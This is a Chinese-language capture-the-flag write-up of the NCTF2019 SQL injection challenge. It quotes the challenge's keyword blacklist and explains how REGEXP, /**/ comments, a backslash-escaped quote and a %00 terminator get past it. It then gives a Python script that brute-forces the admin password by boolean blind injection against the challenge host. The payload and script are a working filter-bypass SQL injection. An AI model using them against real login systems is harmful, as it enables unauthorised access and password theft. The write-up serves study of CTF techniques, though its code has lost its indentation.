NCTF2019SQLi

按照惯例 先扫后后台 一个robots.txt 叫我们访问hint.txt

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

给了黑名单 和拿flag的条件 会的盲注用的函数都给滤掉了
只好看别人的了 这题得用regexp进行盲注 因为他没被过滤
regexp 和 like 差不多的用法 效果也差不多

1
2
3
4
5
6
7
8
只不过 like 用%规定以什么开头的或者结尾的  regexp 以什么开头用^ 以什么结尾用$ 含有某字母的直接什么都不用
但是regexp有别的功能 “|” 替代 OR 且不需要空格
regexp 'a|b|c' 搜索效果相当与 where *** like '%a' or *** like '%b' or *** like '%c' ; 简洁多了

用[ ] 中括号来囊括多个搜索条件
例如[a]d 会查找含有a d的 d[a] da的
搜索结果会包含括号中每个元素与括号外的元素构成的任一结合
使用短横线 来进行范围匹配 比如[a-d]d 相当于[abcd]d

用regexp思路和bool注入一样 一位一位爆破 只不过bool以位为单位 regexp以字符串为单位

要爆破的username 正常来说是admin 但是输入username会弹出hacker 过滤太多了
单引号注释符都过滤了 而且又是字符型没法闭合引号 passwd也是

1
2
3
单引号可以使用\来转义 and前面的单引号 造成'\' and passwd=' 形成闭合
构造passwd为||/**/passwd/**/regexp/**/"^a";%00
即username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

但是不能直接输入框那提交不然会变成被url编码成%2500

192.PNG

抓包修改成%00 会提示让我们访问welcome.php

走脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
from urllib import parse
import string
url = 'http://bc937545-f6a5-4925-94cf-649688eb59a8.node4.buuoj.cn:81/'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_' #密码由小写字母 数字 下划线组成(实验证明
for i in range (1,60):
if num == 1 :
break
for j in string:
data = {
"username":"\\",#"\"转义"\"
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
}
print(result+j)
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
result += j
break
if j=='_' and 'welcome' not in res.text:
break

爆出密码 登录即可

193.PNG